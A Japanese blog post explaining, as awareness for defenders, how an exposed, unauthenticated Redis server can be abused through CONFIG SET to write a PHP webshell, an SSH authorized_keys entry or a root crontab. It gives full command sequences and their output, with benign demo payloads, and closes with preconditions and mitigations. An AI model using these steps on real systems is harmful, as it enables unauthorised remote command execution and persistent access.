knqyf263's blog

自分のためのメモとして残しておくためのブログ。

RedisからOSコマンドを実行する攻撃方法(CONFIG SET編)

概要

Redisを間違ってインターネットに開放してしまっていた場合に、認証がなければ好きなRedisコマンドを実行されてしまいます。この場合に最大どの程度の被害になるのか、というのがセキュリティ界隈の人にも意外と知られていなかったので書いておきます。

Redisの実行ユーザによりますがrootなどで動いていて、他にいくつか緩い条件を満たせばOSの任意コマンドが実行可能です。

これは昔からある方法で有名なので攻撃する側からすると当然知っていて、侵入したら必ずと言っていいほど行うと思います。そのため、防御する側も知っておく必要があります。もしRedisの設定を間違ってanyから通信可能だった場合にホスト側にも侵入されたかも、というところを考慮できると良いと思って今回の記事は書いています。

自衛のためにも書いておきますが、悪用は禁止です。あくまで正しく脅威を把握するための啓蒙です。

参考

http://reverse-tcp.xyz/pentest/database/2017/02/09/Redis-Hacking-Tips.html

PoC

動かしてみたい人は以下で。

GitHub - knqyf263/redis-exploitation: CONFIG SET

詳細

RedisにはKey/Valueをファイルとして書き出す機能があります。さらに、書き出し先はRedisコマンドで変更可能なので実は任意の場所にデータを書き出すことが出来ます。

Redisに入ってCONFIG GETコマンドを叩くと現在のファイルパスが分かります。

$ redis-cli
127.0.0.1:6379> config get dir
1) "dir"
2) "/"
127.0.0.1:6379> config get dbfilename
1) "dbfilename"
2) "dump.rdb"

これを自分の書き出したい場所に変更し、Valueに書き込みたい内容を書いておけば好きなファイルに好きな内容を書き込めるという話です。

Webshell

Redisのサーバ内でWebサーバとPHPが動いている場合は、 /var/www/html の下にPHPを書き込めばよいです。

つまり以下のような方法です。

127.0.0.1:6379> config set dir /var/www/html/
OK
127.0.0.1:6379> config set dbfilename redis.php
OK
127.0.0.1:6379> set test "<?php phpinfo(); ?>"
OK
127.0.0.1:6379> save
OK

今回はphpinfo()を出しているだけですが、GETのパラメータを受け取ってOSコマンドとして実行するなどのPHPを書けばWebshellとして利用可能です。ただし、Redisの実行ユーザが /var/www/html に書き込み権限を持っている必要があります。

また、このようにしてファイルに書き出すとRedisのバージョンだったりkeyだったりも入るため、目的のvalueの前後にゴミが入ります。

[root@34aa23154b29 /]# cat /var/www/html/redis.php
REDIS0007       redis-ver3.2.12
redis-bits@ctime'used-meme
                          test<?php phpinfo(); ?>(FاH

ですが、PHPは<?php ... ?>の部分を解釈するためゴミが入っていても問題なく動きます。このようにゴミが入っていても動くケースであれば今回の方法で攻撃可能です。ゴミを排除するのは恐らく不可能なため、この条件は重要です。

満たすべき条件は3つです。

  1. Webサーバが動いている
  2. WebサーバへのpublicディレクトリにRedis実行ユーザが書き込み権限を持っている
  3. ドキュメントルートのpathが予測できる(/var/www/htmlなど)

この条件を満たせればWebshellを置いておくことで外部からOSコマンドを実行可能になります。

SSH

実はSSHの公開鍵を置いておく ~/.ssh/authorized_keys も行単位で読み取るため、改行さえ前後に入れておけばゴミが入っていても動きます。

127.0.0.1:6379> set ssh "\n\nssh-rsa AAAAB3NzaC1yc...\n\n"
OK
127.0.0.1::6379> config set dir /home/knqyf263/.ssh/
OK
127.0.0.1::6379> config set dbfilename "authorized_keys"
OK
127.0.0.1::6379> save
OK

このような感じです。これもRedis実行ユーザが書き込み権限を持っておりsshdが動いていれば成立します。ネットワーク経路で何かしらの制限がされておりSSH出来ない場合などはもちろん影響を受けないです。

Crontab

最後はcrontabを使った方法です。/var/spool/cron/ の下にcronの設定を書き込んで自動でコマンドを実行させます。

[root@34ea33cb2eb2 /]# ls /var/spool/cron/
[root@34ea33cb2eb2 /]# redis-cli
127.0.0.1:6379> config set dir /var/spool/cron/
OK
127.0.0.1:6379> config set dbfilename root
OK
127.0.0.1:6379> set payload "\n*/1 * * * * /bin/touch /tmp/foo\n"
OK
127.0.0.1:6379> save
OK
127.0.0.1:6379>
[root@34ea33cb2eb2 /]# cat /var/spool/cron/root
REDIS0007       redis-ver3.2.12
redis-bits@ctime]&used-meme
                           payload!
*/1 * * * * /bin/touch /tmp/foo
5

crontabもゴミが入っていても行単位で解釈されるようです。ここではtouchコマンドを打っているだけですが、バックドアを落としてきて動かすことなども可能です。バックドアの場合は何かしらのポートが空いている必要がありますし、リバースシェル等の場合は外向き通信が空いている必要があります。Firewall等でその辺りがブロックされていたら影響はないかもしれません。

攻撃の実現性について

RHELCentOSなどで普通にRedisを入れた場合、きちんとredisユーザを作ってそちらのユーザで起動するように起動スクリプトを書かないとrootで起動してしまいます。ブログとかによってはrootで起動してたりする場合もありますし、Redisがrootなどの強いユーザで動いているなどの可能性は0ではないと思います(というか見たことがあります)。また、普通のサーバであればcronは動いていると思いますし、実行ユーザの条件さえ満たせれば成功する可能性は高いと考えています。きちんとユーザを分離するのは当たり前ですが大事ということですね。

また、多層防御しており何かしら他の制約があって攻撃が成立しない場合もあると思います。それは環境によって異なるため自組織に影響があるかをきちんと判断することが重要です。

ですが最近はコンテナでデプロイされるケースが増えており、コンテナ内では通常sshdもcronも動いてないですし(たまにcronが動いているコンテナもあるみたいですが)、RedisとWebサーバは別コンテナにするのが普通です。つまり、上記の方法ではホスト側に抜けるのは難しい状況です。

そういった状況でもOSコマンド実行できた、というのが最近発表されていたのでそちらについても後日解説したいと思います。

まとめ

Redisが誤ってインターネットに開放されてしまった場合に、Redis上のデータを好きに改変できるだけと考えるのと、ホストにまで侵入されているかも、と考えるかで対応が変わってきます。きちんとリスクを把握して正しい対応が出来るようになれば、ということで書いておきました。

関連記事

他の方法もあるので良ければ見てみて下さい。

knqyf263.hatenablog.com